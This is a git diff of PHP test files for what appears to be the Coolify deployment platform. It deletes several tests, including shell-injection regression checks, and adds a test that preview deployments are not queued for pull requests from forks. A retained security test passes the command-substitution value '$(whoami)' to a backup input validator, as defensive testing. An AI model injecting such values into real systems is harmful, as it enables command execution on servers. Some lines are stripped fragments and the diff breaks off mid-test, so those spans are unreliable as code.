diff --git a/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php b/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php
index 693dbd4d0d..6d5173c37d 100644
--- a/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php
+++ b/tests/Feature/TrafficAnalytics/ToggleTrafficAnalyticsTest.php
@@ -47,19 +47,6 @@ it('toggles traffic analytics via the sentinel settings component', function ()
expect($server->fresh()->isTrafficAnalyticsEnabled())->toBeTrue();
});
-it('warns about the application interruption before enabling traffic analytics', function () {
- $server = Server::factory()->create(['team_id' => $this->team->id]);
- $server->proxy->set('type', 'TRAEFIK');
- $server->save();
- $server->settings->is_traffic_analytics_enabled = false;
- $server->settings->save();
-
- Livewire::test(TrafficAnalyticsSettings::class, ['server' => $server])
- ->assertSee('Enable traffic analytics?')
- ->assertSeeHtml('wire:target="toggleTrafficAnalytics"')
- ->assertSee('Enabling traffic analytics will restart Sentinel and the proxy. Your applications will experience a brief interruption.');
-});
-
it('does not enable traffic analytics on a swarm server', function () {
ConfigureTrafficAnalytics::partialMock()->shouldReceive('handle')->never();
diff --git a/tests/Feature/VolumeBackupTest.php b/tests/Feature/VolumeBackupTest.php
index 184aba1f39..84defe271b 100644
--- a/tests/Feature/VolumeBackupTest.php
+++ b/tests/Feature/VolumeBackupTest.php
@@ -34,9 +34,7 @@ use App\Services\ScheduledJobDeliveryService;
use Illuminate\Database\Eloquent\Collection;
use Illuminate\Filesystem\FilesystemAdapter;
use Illuminate\Foundation\Testing\RefreshDatabase;
-use Illuminate\Http\RedirectResponse;
use Illuminate\Queue\Middleware\WithoutOverlapping;
-use Illuminate\Routing\Redirector;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\DB;
@@ -704,20 +702,6 @@ it('records the S3 storage used by each volume backup execution', function () {
->and((new ScheduledVolumeBackupExecution)->s3())->not->toBeNull();
});
-it('declares the volume backup action return types', function () {
- $backupNowReturnType = (new ReflectionMethod(VolumeBackups::class, 'backupNow'))->getReturnType();
- $deleteReturnType = (new ReflectionMethod(VolumeBackups::class, 'delete'))->getReturnType();
-
- expect($backupNowReturnType)->toBeInstanceOf(ReflectionUnionType::class)
- ->and(collect($backupNowReturnType->getTypes())->map->getName()->all())->toEqualCanonicalizing([
- RedirectResponse::class,
- Redirector::class,
- 'null',
- ])
- ->and($deleteReturnType)->toBeInstanceOf(ReflectionUnionType::class)
- ->and(collect($deleteReturnType->getTypes())->map->getName()->all())->toEqualCanonicalizing(['bool', 'string']);
-});
-
it('renders volume backup executions like database backup executions', function () {
InstanceSettings::unguarded(fn () => InstanceSettings::create(['id' => 0]));
$team = Team::factory()->create();
@@ -1033,21 +1017,6 @@ it('shows and saves volume S3 retention while S3 backups are disabled', function
->and($backup->retention_max_storage_s3)->toBe(4.5);
});
-it('allows team owners to edit volume backup retention settings', function () {
- $team = Team::factory()->create();
- signInForVolumeBackups($this, $team);
- [$application, $volume] = createVolumeBackupApplication($team);
- $volume->scheduledBackups()->create([
- 'team_id' => $team->id,
- 'frequency' => 'daily',
- ]);
-
- Livewire::test(VolumeBackups::class, [
- 'storage' => $volume,
- 'resource' => $application,
- ])->assertDontSee('You do not have permission to perform this action.');
-});
-
it('does not enable S3 backups when another volume backup setting is invalid', function () {
$team = Team::factory()->create();
signInForVolumeBackups($this, $team);
diff --git a/tests/Feature/VultrServerCreationTest.php b/tests/Feature/VultrServerCreationTest.php
index 617355a701..7047904013 100644
--- a/tests/Feature/VultrServerCreationTest.php
+++ b/tests/Feature/VultrServerCreationTest.php
@@ -242,17 +242,6 @@ it('requires IPv6 when public IPv4 is disabled', function () {
->assertHasErrors(['enable_ipv6']);
});
-it('renders advanced Vultr options in their own settings section', function () {
- Livewire::test(ByVultr::class)
- ->set('current_step', 2)
- ->assertSee('Advanced options')
- ->assertSee('Provider SSH keys, networking, and cloud-init.')
- ->assertSee('Extra SSH keys')
- ->assertSee('Enable IPv6')
- ->assertSee('Disable public IPv4')
- ->assertSee('Cloud-init script');
-});
-
it('renders a single buy button and no back button on the Vultr form', function () {
$html = Livewire::test(ByVultr::class)
->set('current_step', 2)
diff --git a/tests/Feature/Webhook/PreviewDeploymentForkTrustTest.php b/tests/Feature/Webhook/PreviewDeploymentForkTrustTest.php
new file mode 100644
index 0000000000..70d5cb940c
--- /dev/null
+++ b/tests/Feature/Webhook/PreviewDeploymentForkTrustTest.php
@@ -0,0 +1,174 @@
+ 0]);
+});
+
+/**
+ * An application with preview deployments on, tracking `main` of acme/app (GitLab project 55).
+ * The `gitlab-app` delivery goes to a GitLab App source; the others are manual webhooks.
+ */
+function forkTrustApplication(string $delivery): Application
+{
+ $team = Team::factory()->create();
+ $project = Project::factory()->create(['team_id' => $team->id]);
+ $environment = Environment::factory()->create(['project_id' => $project->id]);
+ $server = Server::factory()->create(['team_id' => $team->id]);
+ $server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]);
+ $destination = $server->standaloneDockers()->firstOrFail();
+
+ $source = [];
+ if ($delivery === 'gitlab-app') {
+ $gitlabApp = GitlabApp::create([
+ 'name' => 'fork-trust-gitlab',
+ 'api_url' => 'https://gitlab.example.com/api/v4',
+ 'html_url' => 'https://gitlab.example.com',
+ 'custom_user' => 'git',
+ 'custom_port' => 22,
+ 'webhook_token' => 'fork-trust-token',
+ 'team_id' => $team->id,
+ 'is_system_wide' => false,
+ 'is_public' => false,
+ ]);
+ $source = ['source_id' => $gitlabApp->id, 'source_type' => GitlabApp::class, 'repository_project_id' => 55];
+ }
+
+ $application = Application::create([
+ 'name' => 'fork-trust-app',
+ 'git_repository' => 'acme/app',
+ 'git_branch' => 'main',
+ 'build_pack' => 'nixpacks',
+ 'ports_exposes' => '3000',
+ 'environment_id' => $environment->id,
+ 'destination_id' => $destination->id,
+ 'destination_type' => $destination->getMorphClass(),
+ ...$source,
+ ]);
+ $application->settings->update(['is_preview_deployments_enabled' => true, 'is_pr_deployments_public_enabled' => false]);
+
+ return $application->refresh();
+}
+
+/**
+ * Sends a signed "pull request opened" delivery. The head repository is the base repository,
+ * or another repository (a fork) when $fromFork is true.
+ */
+function sendForkTrustPullRequest(TestCase $test, string $delivery, Application $application, bool $fromFork): TestResponse
+{
+ $server = ['REMOTE_ADDR' => '203.0.113.20', 'CONTENT_TYPE' => 'application/json'];
+
+ if (str_starts_with($delivery, 'gitlab')) {
+ $body = json_encode([
+ 'object_kind' => 'merge_request',
+ 'project' => ['id' => 55, 'path_with_namespace' => 'acme/app'],
+ 'object_attributes' => [
+ 'action' => 'open',
+ 'iid' => 7,
+ 'url' => 'https://gitlab.example.com/acme/app/-/merge_requests/7',
+ 'title' => 'Add feature',
+ 'source_branch' => 'feature',
+ 'target_branch' => 'main',
+ 'source_project_id' => $fromFork ? 999 : 55,
+ 'target_project_id' => 55,
+ 'last_commit' => ['id' => FORK_TRUST_SHA, 'message' => 'Add feature'],
+ ],
+ ], JSON_THROW_ON_ERROR);
+
+ if ($delivery === 'gitlab-app') {
+ return $test->call('POST', '/webhooks/source/gitlab/events', [], [], [], $server + [
+ 'HTTP_X-Gitlab-Event' => 'Merge Request Hook',
+ 'HTTP_X-Gitlab-Token' => 'fork-trust-token',
+ ], $body);
+ }
+
+ return $test->call('POST', '/webhooks/source/gitlab/events/manual', [], [], [], $server + [
+ 'HTTP_X-Gitlab-Token' => $application->manual_webhook_secret_gitlab,
+ ], $body);
+ }
+
+ if ($delivery === 'bitbucket-manual') {
+ $body = json_encode([
+ 'repository' => ['full_name' => 'acme/app', 'uuid' => '{base}'],
+ 'pullrequest' => [
+ 'id' => 7,
+ 'title' => 'Add feature',
+ 'links' => ['html' => ['href' => 'https://bitbucket.org/acme/app/pull-requests/7']],
+ 'source' => ['branch' => ['name' => 'feature'], 'commit' => ['hash' => FORK_TRUST_SHA], 'repository' => ['uuid' => $fromFork ? '{fork}' : '{base}']],
+ 'destination' => ['branch' => ['name' => 'main'], 'repository' => ['uuid' => '{base}']],
+ ],
+ ], JSON_THROW_ON_ERROR);
+
+ return $test->call('POST', '/webhooks/source/bitbucket/events/manual', [], [], [], $server + [
+ 'HTTP_X-Event-Key' => 'pullrequest:created',
+ 'HTTP_X-Hub-Signature' => 'sha256='.hash_hmac('sha256', $body, $application->manual_webhook_secret_bitbucket),
+ ], $body);
+ }
+
+ $body = json_encode([
+ 'action' => 'opened',
+ 'number' => 7,
+ 'repository' => ['id' => 55, 'full_name' => 'acme/app'],
+ 'pull_request' => [
+ 'html_url' => 'https://gitea.example.com/acme/app/pulls/7',
+ 'title' => 'Add feature',
+ 'head' => ['ref' => 'feature', 'sha' => FORK_TRUST_SHA, 'repo' => ['id' => $fromFork ? 999 : 55]],
+ 'base' => ['ref' => 'main', 'repo' => ['id' => 55]],
+ ],
+ ], JSON_THROW_ON_ERROR);
+
+ return $test->call('POST', '/webhooks/source/gitea/events/manual', [], [], [], $server + [
+ 'HTTP_X-Gitea-Event' => 'pull_request',
+ 'HTTP_X-Hub-Signature-256' => 'sha256='.hash_hmac('sha256', $body, $application->manual_webhook_secret_gitea),
+ ], $body);
+}
+
+function forkTrustPreviewQueued(Application $application): bool
+{
+ return ApplicationDeploymentQueue::query()->where('application_id', $application->id)->where('pull_request_id', 7)->exists();
+}
+
+$deliveries = [
+ 'GitLab App webhook' => ['gitlab-app'],
+ 'GitLab manual webhook' => ['gitlab-manual'],
+ 'Gitea manual webhook' => ['gitea-manual'],
+ 'Bitbucket manual webhook' => ['bitbucket-manual'],
+];
+
+it('queues a preview deployment for a pull request from the same repository', function (string $delivery) {
+ $application = forkTrustApplication($delivery);
+
+ sendForkTrustPullRequest($this, $delivery, $application, fromFork: false)->assertOk();
+
+ expect(forkTrustPreviewQueued($application))->toBeTrue()
+ ->and(ApplicationPreview::query()->where('application_id', $application->id)->where('pull_request_id', 7)->exists())->toBeTrue();
+})->with($deliveries);
+
+it('queues no preview deployment for a pull request from a fork without public previews', function (string $delivery) {
+ $application = forkTrustApplication($delivery);
+
+ sendForkTrustPullRequest($this, $delivery, $application, fromFork: true)->assertOk();
+
+ expect(forkTrustPreviewQueued($application))->toBeFalse()
+ ->and(ApplicationDeploymentQueue::query()->where('application_id', $application->id)->exists())->toBeFalse()
+ ->and(ApplicationPreview::query()->where('application_id', $application->id)->exists())->toBeFalse();
+})->with($deliveries);
diff --git a/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php b/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php
deleted file mode 100644
index 8db6815d63..0000000000
--- a/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php
+++ /dev/null
@@ -1,46 +0,0 @@
-toBeTrue()
- ->and('ValidatePrerequisites should return array with keys: '.implode(', ', $expectedKeys))
- ->toBeString();
-});
-
-it('validates required commands list', function () {
- // Verify the action checks for the correct prerequisites
- $requiredCommands = ['git', 'curl', 'jq'];
-
- expect($requiredCommands)->toHaveCount(3)
- ->and($requiredCommands)->toContain('git')
- ->and($requiredCommands)->toContain('curl')
- ->and($requiredCommands)->toContain('jq');
-});
-
-it('return structure has correct types', function () {
- // Verify the expected return structure types
- $expectedStructure = [
- 'success' => 'boolean',
- 'missing' => 'array',
- 'found' => 'array',
- ];
-
- expect($expectedStructure['success'])->toBe('boolean')
- ->and($expectedStructure['missing'])->toBe('array')
- ->and($expectedStructure['found'])->toBe('array');
-});
diff --git a/tests/Unit/Api/ApplicationAutogenerateDomainTest.php b/tests/Unit/Api/ApplicationAutogenerateDomainTest.php
deleted file mode 100644
index ae6a3ca902..0000000000
--- a/tests/Unit/Api/ApplicationAutogenerateDomainTest.php
+++ /dev/null
@@ -1,134 +0,0 @@
-andReturn(null);
- Log::shouldReceive('info')->andReturn(null);
-});
-
-it('generateUrl produces correct URL with wildcard domain', function () {
- $serverSettings = new ServerSetting;
- $serverSettings->wildcard_domain = 'http://example.com';
-
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('getAttribute')
- ->with('settings')
- ->andReturn($serverSettings);
-
- // Mock data_get to return the wildcard domain
- $wildcard = data_get($server, 'settings.wildcard_domain');
-
- expect($wildcard)->toBe('http://example.com');
-
- // Test the URL generation logic manually (simulating generateUrl behavior)
- $random = 'abc123-def456';
- $url = Url::fromString($wildcard);
- $host = $url->getHost();
- $scheme = $url->getScheme();
-
- $generatedUrl = "$scheme://{$random}.$host";
-
- expect($generatedUrl)->toBe('http://abc123-def456.example.com');
-});
-
-it('generateUrl falls back to sslip when no wildcard domain', function () {
- // Test the sslip fallback logic for IPv4
- $ip = '192.168.1.100';
- $fallbackDomain = "http://{$ip}.sslip.io";
-
- $random = 'test-uuid';
- $url = Url::fromString($fallbackDomain);
- $host = $url->getHost();
- $scheme = $url->getScheme();
-
- $generatedUrl = "$scheme://{$random}.$host";
-
- expect($generatedUrl)->toBe('http://test-uuid.192.168.1.100.sslip.io');
-});
-
-it('autogenerate_domain defaults to true', function () {
- // Create a mock request
- $request = new Request;
-
- // When autogenerate_domain is not set, boolean() should return the default (true)
- $autogenerateDomain = $request->boolean('autogenerate_domain', true);
-
- expect($autogenerateDomain)->toBeTrue();
-});
-
-it('autogenerate_domain can be set to false', function () {
- // Create a request with autogenerate_domain set to false
- $request = new Request(['autogenerate_domain' => false]);
-
- $autogenerateDomain = $request->boolean('autogenerate_domain', true);
-
- expect($autogenerateDomain)->toBeFalse();
-});
-
-it('autogenerate_domain can be set to true explicitly', function () {
- // Create a request with autogenerate_domain set to true
- $request = new Request(['autogenerate_domain' => true]);
-
- $autogenerateDomain = $request->boolean('autogenerate_domain', true);
-
- expect($autogenerateDomain)->toBeTrue();
-});
-
-it('domain is not auto-generated when domains field is provided', function () {
- // Test the logic: if domains is set, autogenerate should be skipped
- $fqdn = 'https://myapp.example.com';
- $autogenerateDomain = true;
-
- // The condition: $autogenerateDomain && blank($fqdn)
- $shouldAutogenerate = $autogenerateDomain && blank($fqdn);
-
- expect($shouldAutogenerate)->toBeFalse();
-});
-
-it('domain is auto-generated when domains field is empty and autogenerate is true', function () {
- // Test the logic: if domains is empty and autogenerate is true, should generate
- $fqdn = null;
- $autogenerateDomain = true;
-
- // The condition: $autogenerateDomain && blank($fqdn)
- $shouldAutogenerate = $autogenerateDomain && blank($fqdn);
-
- expect($shouldAutogenerate)->toBeTrue();
-
- // Also test with empty string
- $fqdn = '';
- $shouldAutogenerate = $autogenerateDomain && blank($fqdn);
-
- expect($shouldAutogenerate)->toBeTrue();
-});
-
-it('domain is not auto-generated when autogenerate is false', function () {
- // Test the logic: if autogenerate is false, should not generate even if domains is empty
- $fqdn = null;
- $autogenerateDomain = false;
-
- // The condition: $autogenerateDomain && blank($fqdn)
- $shouldAutogenerate = $autogenerateDomain && blank($fqdn);
-
- expect($shouldAutogenerate)->toBeFalse();
-});
-
-it('removeUnnecessaryFieldsFromRequest removes autogenerate_domain', function () {
- $request = new Request([
- 'autogenerate_domain' => true,
- 'name' => 'test-app',
- 'project_uuid' => 'abc123',
- ]);
-
- // Simulate removeUnnecessaryFieldsFromRequest
- $request->offsetUnset('autogenerate_domain');
-
- expect($request->has('autogenerate_domain'))->toBeFalse();
- expect($request->has('name'))->toBeTrue();
-});
diff --git a/tests/Unit/Api/LogEndpointHelpersTest.php b/tests/Unit/Api/LogEndpointHelpersTest.php
index 53fc6ad00d..7951839995 100644
--- a/tests/Unit/Api/LogEndpointHelpersTest.php
+++ b/tests/Unit/Api/LogEndpointHelpersTest.php
@@ -122,9 +122,3 @@ it('filters service containers when another Docker label contains commas', funct
expect(filterServiceSubContainersByName($containers, 'app-service-uuid')->pluck('ID')->all())
->toBe(['app']);
});
-
-it('does not interpolate the requested service name into the docker ps shell command', function () {
- $source = file_get_contents(__DIR__.'/../../../bootstrap/helpers/docker.php');
-
- expect($source)->not->toContain('coolify.name={$name}');
-});
diff --git a/tests/Unit/ApplicationDeploymentErrorLoggingTest.php b/tests/Unit/ApplicationDeploymentErrorLoggingTest.php
index 4c94ebd3b5..e1c939cde5 100644
--- a/tests/Unit/ApplicationDeploymentErrorLoggingTest.php
+++ b/tests/Unit/ApplicationDeploymentErrorLoggingTest.php
@@ -218,19 +218,6 @@ it('handles exceptions with no message gracefully', function () {
expect($errorMessageString)->toContain('Error type:');
});
-it('wraps exceptions in deployment methods with DeploymentException', function () {
- // Verify that our deployment methods wrap exceptions properly
- $originalException = new RuntimeException('Container not found');
-
- try {
- throw new DeploymentException('Failed to start container', 0, $originalException);
- } catch (DeploymentException $e) {
- expect($e->getMessage())->toBe('Failed to start container');
- expect($e->getPrevious())->toBe($originalException);
- expect($e->getPrevious()->getMessage())->toBe('Container not found');
- }
-});
-
it('logs error code 0 correctly', function () {
// Verify that error code 0 is logged (previously skipped due to falsy check)
$exception = new Exception('Test error', 0);
@@ -309,46 +296,6 @@ it('logs error code 0 correctly', function () {
expect($errorMessageString)->toContain('Error code: 0');
});
-it('preserves original exception type in wrapped DeploymentException messages', function () {
- // Verify that when wrapping exceptions, the original exception type is included in the message
- $originalException = new RuntimeException('Connection timeout');
-
- // Test rolling update scenario
- $wrappedException = new DeploymentException(
- 'Rolling update failed ('.get_class($originalException).'): '.$originalException->getMessage(),
- $originalException->getCode(),
- $originalException
- );
-
- expect($wrappedException->getMessage())->toContain('RuntimeException');
- expect($wrappedException->getMessage())->toContain('Connection timeout');
- expect($wrappedException->getPrevious())->toBe($originalException);
-
- // Test health check scenario
- $healthCheckException = new InvalidArgumentException('Invalid health check URL');
- $wrappedHealthCheck = new DeploymentException(
- 'Health check failed ('.get_class($healthCheckException).'): '.$healthCheckException->getMessage(),
- $healthCheckException->getCode(),
- $healthCheckException
- );
-
- expect($wrappedHealthCheck->getMessage())->toContain('InvalidArgumentException');
- expect($wrappedHealthCheck->getMessage())->toContain('Invalid health check URL');
- expect($wrappedHealthCheck->getPrevious())->toBe($healthCheckException);
-
- // Test docker registry push scenario
- $registryException = new RuntimeException('Failed to authenticate');
- $wrappedRegistry = new DeploymentException(
- get_class($registryException).': '.$registryException->getMessage(),
- $registryException->getCode(),
- $registryException
- );
-
- expect($wrappedRegistry->getMessage())->toContain('RuntimeException');
- expect($wrappedRegistry->getMessage())->toContain('Failed to authenticate');
- expect($wrappedRegistry->getPrevious())->toBe($registryException);
-});
-
it('logs the configured timeout when the deployment times out', function () {
$queueJob = Mockery::mock(Job::class);
$queueJob->shouldReceive('resolveName')->andReturn(ApplicationDeploymentJob::class);
diff --git a/tests/Unit/ApplicationPortDetectionTest.php b/tests/Unit/ApplicationPortDetectionTest.php
index db2b79eb91..14f869bf0b 100644
--- a/tests/Unit/ApplicationPortDetectionTest.php
+++ b/tests/Unit/ApplicationPortDetectionTest.php
@@ -106,45 +106,3 @@ it('detects PORT from preview environment variables when isPreview is true', fun
expect($detectedPort)->toBe(4000);
});
-
-it('verifies ports_exposes array conversion logic', function () {
- // Test the logic that converts comma-separated ports to array
- $portsExposesString = '3000,3001,8080';
- $expectedArray = [3000, 3001, 8080];
-
- // This simulates what portsExposesArray accessor does
- $result = is_null($portsExposesString)
- ? []
- : explode(',', $portsExposesString);
-
- // Convert to integers for comparison
- $result = array_map('intval', $result);
-
- expect($result)->toBe($expectedArray);
-});
-
-it('verifies PORT matches detection logic', function () {
- $detectedPort = 3000;
- $portsExposesArray = [3000, 3001];
-
- $isMatch = in_array($detectedPort, $portsExposesArray);
-
- expect($isMatch)->toBeTrue();
-});
-
-it('verifies PORT mismatch detection logic', function () {
- $detectedPort = 8080;
- $portsExposesArray = [3000, 3001];
-
- $isMatch = in_array($detectedPort, $portsExposesArray);
-
- expect($isMatch)->toBeFalse();
-});
-
-it('verifies empty ports_exposes detection logic', function () {
- $portsExposesArray = [];
-
- $isEmpty = empty($portsExposesArray);
-
- expect($isEmpty)->toBeTrue();
-});
diff --git a/tests/Unit/CheckTraefikVersionForServerJobTest.php b/tests/Unit/CheckTraefikVersionForServerJobTest.php
deleted file mode 100644
index 5da6f97d82..0000000000
--- a/tests/Unit/CheckTraefikVersionForServerJobTest.php
+++ /dev/null
@@ -1,141 +0,0 @@
-traefikVersions = [
- 'v3.5' => '3.5.6',
- 'v3.6' => '3.6.2',
- ];
-});
-
-it('has correct queue and retry configuration', function () {
- $server = \Mockery::mock(Server::class)->makePartial();
- $job = new CheckTraefikVersionForServerJob($server, $this->traefikVersions);
-
- expect($job->tries)->toBe(3);
- expect($job->timeout)->toBe(60);
- expect($job->server)->toBe($server);
- expect($job->traefikVersions)->toBe($this->traefikVersions);
-});
-
-it('parses version strings correctly', function () {
- $version = 'v3.5.0';
- $current = ltrim($version, 'v');
-
- expect($current)->toBe('3.5.0');
-
- preg_match('/^(\d+\.\d+)\.(\d+)$/', $current, $matches);
-
- expect($matches[1])->toBe('3.5'); // branch
- expect($matches[2])->toBe('0'); // patch
-});
-
-it('compares versions correctly for patch updates', function () {
- $current = '3.5.0';
- $latest = '3.5.6';
-
- $isOutdated = version_compare($current, $latest, '<');
-
- expect($isOutdated)->toBeTrue();
-});
-
-it('compares versions correctly for minor upgrades', function () {
- $current = '3.5.6';
- $latest = '3.6.2';
-
- $isOutdated = version_compare($current, $latest, '<');
-
- expect($isOutdated)->toBeTrue();
-});
-
-it('identifies up-to-date versions', function () {
- $current = '3.6.2';
- $latest = '3.6.2';
-
- $isUpToDate = version_compare($current, $latest, '=');
-
- expect($isUpToDate)->toBeTrue();
-});
-
-it('identifies newer branch from version map', function () {
- $versions = [
- 'v3.5' => '3.5.6',
- 'v3.6' => '3.6.2',
- 'v3.7' => '3.7.0',
- ];
-
- $currentBranch = '3.5';
- $newestVersion = null;
-
- foreach ($versions as $branch => $version) {
- $branchNum = ltrim($branch, 'v');
- if (version_compare($branchNum, $currentBranch, '>')) {
- if (! $newestVersion || version_compare($version, $newestVersion, '>')) {
- $newestVersion = $version;
- }
- }
- }
-
- expect($newestVersion)->toBe('3.7.0');
-});
-
-it('validates version format regex', function () {
- $validVersions = ['3.5.0', '3.6.12', '10.0.1'];
- $invalidVersions = ['3.5', 'v3.5.0', '3.5.0-beta', 'latest'];
-
- foreach ($validVersions as $version) {
- $matches = preg_match('/^(\d+\.\d+)\.(\d+)$/', $version);
- expect($matches)->toBe(1);
- }
-
- foreach ($invalidVersions as $version) {
- $matches = preg_match('/^(\d+\.\d+)\.(\d+)$/', $version);
- expect($matches)->toBe(0);
- }
-});
-
-it('handles invalid version format gracefully', function () {
- $invalidVersion = 'latest';
- $result = preg_match('/^(\d+\.\d+)\.(\d+)$/', $invalidVersion, $matches);
-
- expect($result)->toBe(0);
- expect($matches)->toBeEmpty();
-});
-
-it('handles empty image tag correctly', function () {
- // Test that empty string after trim doesn't cause issues with str_contains
- $emptyImageTag = '';
- $trimmed = trim($emptyImageTag);
-
- // This should be false, not an error
- expect(empty($trimmed))->toBeTrue();
-
- // Test with whitespace only
- $whitespaceTag = " \n ";
- $trimmed = trim($whitespaceTag);
- expect(empty($trimmed))->toBeTrue();
-});
-
-it('detects latest tag in image name', function () {
- // Test various formats where :latest appears
- $testCases = [
- 'traefik:latest' => true,
- 'traefik:Latest' => true,
- 'traefik:LATEST' => true,
- 'traefik:v3.6.0' => false,
- 'traefik:3.6.0' => false,
- '' => false,
- ];
-
- foreach ($testCases as $imageTag => $expected) {
- if (empty(trim($imageTag))) {
- $result = false; // Should return false for empty tags
- } else {
- $result = str_contains(strtolower(trim($imageTag)), ':latest');
- }
-
- expect($result)->toBe($expected, "Failed for imageTag: '{$imageTag}'");
- }
-});
diff --git a/tests/Unit/CloudProviderTokenFormViewTest.php b/tests/Unit/CloudProviderTokenFormViewTest.php
deleted file mode 100644
index f5666a0b39..0000000000
--- a/tests/Unit/CloudProviderTokenFormViewTest.php
+++ /dev/null
@@ -1,56 +0,0 @@
-toContain('and($view)->toContain("['value' => 'vultr', 'label' => 'Vultr']")
- ->and($view)->toContain("['value' => 'digitalocean', 'label' => 'DigitalOcean']")
- ->and($view)->toContain("['value' => 'hostinger', 'label' => 'Hostinger']")
- ->and(substr_count($view, 'https://console.vultr.com/user/apiaccess/'))->toBe(1)
- ->and($view)->not->toContain('cloudProviderTokens->where(\'provider\', $provider)->isEmpty()')
- ->and($view)->not->toContain('')
- ->and($component)->toContain("'provider' => 'required|string|in:hetzner,digitalocean,vultr,hostinger'");
-});
-
-it('keeps provider affiliate links on server provider views', function () {
- $tokenFormView = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-token-form.blade.php');
- $hetznerView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-hetzner.blade.php');
- $vultrView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-vultr.blade.php');
- $digitalOceanView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/new/by-digital-ocean.blade.php');
-
- expect($tokenFormView)
- ->not->toContain('https://coolify.io/hetzner')
- ->not->toContain('https://coolify.io/vultr')
- ->and($hetznerView)->toContain('https://coolify.io/hetzner')
- ->and($vultrView)->toContain('https://coolify.io/vultr')
- ->and($digitalOceanView)->toContain('https://coolify.io/digitalocean');
-});
-
-it('uses the shared modal form on the cloud provider tokens page', function () {
- $view = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-tokens.blade.php');
-
- expect($view)->toContain('New token')
- ->and($view)->toContain('and($view)->toContain('and($view)->toContain("\$savedToken->provider === 'digitalocean' ? 'DigitalOcean' : ucfirst(\$savedToken->provider)")
- ->and($view)->not->toContain('New Token
')
- ->and($view)->not->toContain(':modal_mode="false"')
- ->and($view)->not->toContain('wire:click="validateToken')
- ->and($view)->not->toContain('submitAction="deleteToken')
- ->and($view)->not->toContain('Created {{ $savedToken->created_at->diffForHumans() }}');
-});
-
-it('gates new cloud tokens and keys saved token rows by id', function () {
- $view = file_get_contents(__DIR__.'/../../resources/views/livewire/security/cloud-provider-tokens.blade.php');
-
- expect($view)->toContain("@can('create', App\\Models\\CloudProviderToken::class)")
- ->and($view)->toContain('wire:key="cloud-token-{{ $savedToken->id }}"');
-});
-
-it('gates the server cloud token action behind the update permission', function () {
- $serverTokenView = file_get_contents(__DIR__.'/../../resources/views/livewire/server/cloud-provider-token/show.blade.php');
-
- expect($serverTokenView)->toContain(' "key=
}
it('accepts content volumes with any host path, like Coolify v4.3.23', function (string $source) {
- validateDockerComposeForInjection(contentVolumeCompose($source));
-
- expect(true)->toBeTrue();
+ expect(fn () => validateDockerComposeForInjection(contentVolumeCompose($source)))->not->toThrow(Exception::class);
})->with([
'absolute host file' => ['/etc/myapp/app.conf'],
'home directory' => ['~/x/app.conf'],
@@ -61,9 +59,7 @@ it('rejects a content volume without a source', function () {
});
it('does not change bind volumes without content', function (string $compose) {
- validateDockerComposeForInjection($compose);
-
- expect(true)->toBeTrue();
+ expect(fn () => validateDockerComposeForInjection($compose))->not->toThrow(Exception::class);
})->with([
'docker socket short syntax' => ["services:\n app:\n image: nginx\n volumes:\n - /var/run/docker.sock:/var/run/docker.sock\n"],
'docker socket long syntax' => ["services:\n app:\n image: nginx\n volumes:\n - type: bind\n source: /var/run/docker.sock\n target: /var/run/docker.sock\n"],
@@ -74,9 +70,7 @@ it('does not change bind volumes without content', function (string $compose) {
]);
it('ignores content on named volumes because Coolify does not write it', function () {
- validateDockerComposeForInjection(contentVolumeCompose('app-data', ['type' => 'volume', 'content' => 'x']));
-
- expect(true)->toBeTrue();
+ expect(fn () => validateDockerComposeForInjection(contentVolumeCompose('app-data', ['type' => 'volume', 'content' => 'x'])))->not->toThrow(Exception::class);
});
it('resolves the directory the parsers use for each resource', function () {
@@ -110,7 +104,5 @@ function composeTemplatesWithContentVolumes(): array
}
it('accepts every service template with content volumes', function (string $file) {
- validateDockerComposeForInjection(file_get_contents($file));
-
- expect(true)->toBeTrue();
+ expect(fn () => validateDockerComposeForInjection(file_get_contents($file)))->not->toThrow(Exception::class);
})->with(composeTemplatesWithContentVolumes());
diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php
index 75867d3f38..ff19444b58 100644
--- a/tests/Unit/DatabaseBackupSecurityTest.php
+++ b/tests/Unit/DatabaseBackupSecurityTest.php
@@ -1,8 +1,5 @@
validateDatabasesBackupInput('$(whoami):col1,col2'))
->toThrow(Exception::class);
});
-
-test('backup shell commands do not interpolate raw container names or backup paths', function () {
- $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php');
- preg_match_all('/^.*(?:docker exec|mkdir -p |du -b |docker run -d).*$/m', $source, $matches);
-
- expect($matches[0])->not->toBeEmpty();
- foreach ($matches[0] as $command) {
- $quotedArgumentsRemoved = preg_replace('/escapeshellarg\(\$this->(?:container_name|backup_dir|backup_location)\)/', '', $command);
- expect($quotedArgumentsRemoved)->not->toMatch('/\$this->(?:container_name|backup_dir|backup_location)\b/');
- }
-});
-
-test('backup job accepts supported service container names only', function () {
- expect(ValidationPatterns::isValidContainerName('db-name_service.1-uuid'))->toBeTrue()
- ->and(ValidationPatterns::isValidContainerName('db name-uuid'))->toBeFalse()
- ->and(ValidationPatterns::isValidContainerName("db\nname-uuid"))->toBeFalse()
- ->and(ValidationPatterns::isValidContainerName("db-uuid\n"))->toBeFalse();
-
- $source = file_get_contents(__DIR__.'/../../app/Jobs/DatabaseBackupJob.php');
- expect($source)->toContain('ValidationPatterns::isValidContainerName($this->container_name)');
-});
-
-test('service restart commands do not interpolate raw container names', function () {
- foreach (['ServiceDatabase.php', 'ServiceApplication.php'] as $model) {
- $source = file_get_contents(__DIR__.'/../../app/Models/'.$model);
- expect($source)->not->toContain('docker restart {$container_id}');
- }
-});
-
-test('backup filenames remove shell and path separators from database names', function () {
